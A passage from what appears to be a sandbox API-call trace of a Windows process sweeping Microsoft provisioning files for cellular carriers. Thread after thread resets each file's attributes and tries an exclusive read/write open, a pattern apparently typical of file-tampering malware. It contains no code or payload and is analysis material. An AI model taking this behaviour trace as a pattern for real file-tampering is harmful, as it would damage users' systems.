Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.174] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.174] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fac8) returned 1 [0183.174] RtlExitUserThread (Status=0x0) Thread: id = 3335 os_tid = 0xadc [0183.068] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.199] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.199] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.199] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa790) returned 1 [0183.199] RtlExitUserThread (Status=0x0) Thread: id = 3336 os_tid = 0xabc [0183.069] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.197] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.198] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.198] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fc20) returned 1 [0183.198] RtlExitUserThread (Status=0x0) Thread: id = 3337 os_tid = 0x13b4 [0183.069] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.196] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.196] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.197] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.197] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304e3f0) returned 1 [0183.197] RtlExitUserThread (Status=0x0) Thread: id = 3338 os_tid = 0x133c [0183.070] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.195] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.195] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.195] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.195] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304de90) returned 1 [0183.195] RtlExitUserThread (Status=0x0) Thread: id = 3339 os_tid = 0x13bc [0183.070] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.194] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.194] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.194] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.194] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1678) returned 1 [0183.194] RtlExitUserThread (Status=0x0) Thread: id = 3340 os_tid = 0x13c0 [0183.070] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.193] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.193] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.193] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.193] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f008) returned 1 [0183.193] RtlExitUserThread (Status=0x0) Thread: id = 3341 os_tid = 0x13c4 [0183.071] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 0x20 [0183.191] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", dwFileAttributes=0x20) returned 0 [0183.192] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", dwFileAttributes=0x20) returned 0 [0183.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0183.192] RtlExitUserThread (Status=0x0) Thread: id = 3342 os_tid = 0x13c8 [0183.071] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 0x20 [0183.190] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", dwFileAttributes=0x20) returned 0 [0183.190] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.191] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", dwFileAttributes=0x20) returned 0 [0183.191] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1510) returned 1 [0183.191] RtlExitUserThread (Status=0x0) Thread: id = 3343 os_tid = 0x13cc [0183.072] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.179] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.179] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.179] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03130) returned 1 [0183.179] RtlExitUserThread (Status=0x0) Thread: id = 3344 os_tid = 0x13d0 [0183.072] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.180] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.180] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.180] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.180] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304dfe8) returned 1 [0183.180] RtlExitUserThread (Status=0x0) Thread: id = 3345 os_tid = 0x13d4 [0183.073] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0183.181] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.181] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.181] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30546f8) returned 1 [0183.181] RtlExitUserThread (Status=0x0) Thread: id = 3346 os_tid = 0x13d8 [0183.073] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.218] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.218] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.218] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.218] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01a20) returned 1 [0183.218] RtlExitUserThread (Status=0x0) Thread: id = 3347 os_tid = 0x13dc [0183.073] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.189] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.189] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.189] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff09d0) returned 1 [0183.190] RtlExitUserThread (Status=0x0) Thread: id = 3348 os_tid = 0x13e0 [0183.282] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.282] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.282] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1190) returned 1 [0183.283] RtlExitUserThread (Status=0x0) Thread: id = 3349 os_tid = 0x13e4 [0183.284] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.284] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.284] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.284] SetFileAttributesW (lpFileName="C:\\Users\\All 